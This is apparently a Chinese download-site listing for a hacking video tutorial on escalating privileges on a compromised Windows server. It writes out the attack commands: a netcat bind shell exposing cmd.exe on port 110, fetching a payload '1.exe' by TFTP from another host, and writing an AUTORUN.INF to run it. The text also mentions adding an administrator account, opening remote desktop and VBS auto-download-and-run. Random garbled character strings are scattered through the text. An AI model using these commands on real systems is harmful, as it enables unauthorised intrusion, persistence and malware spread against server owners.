NC反弹提权教程

软件简介：
(注意:这是语音教程,请打开您的音响,并且使用1024*768的屏幕分辨率来观看本教程!)
% ?# Q$ i) I; {( y教程名称:NC反弹提权教程
主讲:低调小飞
4 e3 U* K) F  Z5 F: ]9 b( [
( F1 U# @. Y) `9 J7 [1 I7 p0 b: M5 ?环境说明：
Server-U 不可利用 pcAnywhere没有安装
7 F$ D8 i0 q4 {) l0 v- D
提权思路:
上传NC，进行反弹连接。
命令说明：
nc -l -p 110 -t -e c:\winnt\system32\cmd.exe
-l 监听本地入栈信息
* A3 H3 ]& v% l$ T
-p port 打开本地端口
-t 以telnet形式应答入栈请求
" H+ B% {6 \' I; V* ^
-e 程序重定向
0 a9 H" G4 a2 R
5 O' X2 t- a: v# ~7 M9 g3 C
  p+ k2 _1 y- V' K3 U8 EC:\RECYCLER\cmd.exe
C:\RECYCLER\nc -l -p 110 -t -e c:\winnt\system32\cmd.exe
C:\RECYCLER\nc -l -p 110 -t -e C:\RECYCLER\cmd.exe
接下来留给我们的空间就比较充足了，我们可以添加管理员后开接对方3389，(如果没有开放我们可以手动放开)还可以直接上传木马等等...
. j/ H" H' l5 Wtftp -i 192.168.1.100 get 1.exe
[AutoRun]
open=1.exe
& @5 h) X9 n, r, J  d  zshellexecute=1.exe
shell\Auto\command=1.exe
. a7 R. ]5 a; V% v, w2 V
echo [AutoRun]AUTORUN.INF
echo open=1.exeAUTORUN.INF
  V. ~) v0 [5 pvbs自动下载自动运行
7 c  w  W4 i0 F+ z+ L0 G/ j
QQ:176624470
$ c& K, j8 Q1 R( Q  l  Q3 ]/ q1 \6 u=============================
41259640低調小飛技術交流群㈡
& x# d& `7 i# }. r+ @41209575低調小飛技術交流群㈢
41209451低調小飛技術交流群㈣
8 B: ^1 _) u2 l* Q( G7 G! D22387823低調小飛技術交流群㈤
( C2 ?" l2 ]; e0 T; Y16599303低調小飛技術交流群㈥
+ ~) ?7 g. k2 i8 K$ Y0 J+ L1 ^' N0 y16639680低調小飛技術交流群㈦
41209297低調小飛技術交流群㈧
下载地址：

2008-8-18 15:33 上传 NC反弹提权教程.rar

下载权限:

版本vip会员

本地下载 检测资源

有些游戏资源需要vip下载开通请点击开通vip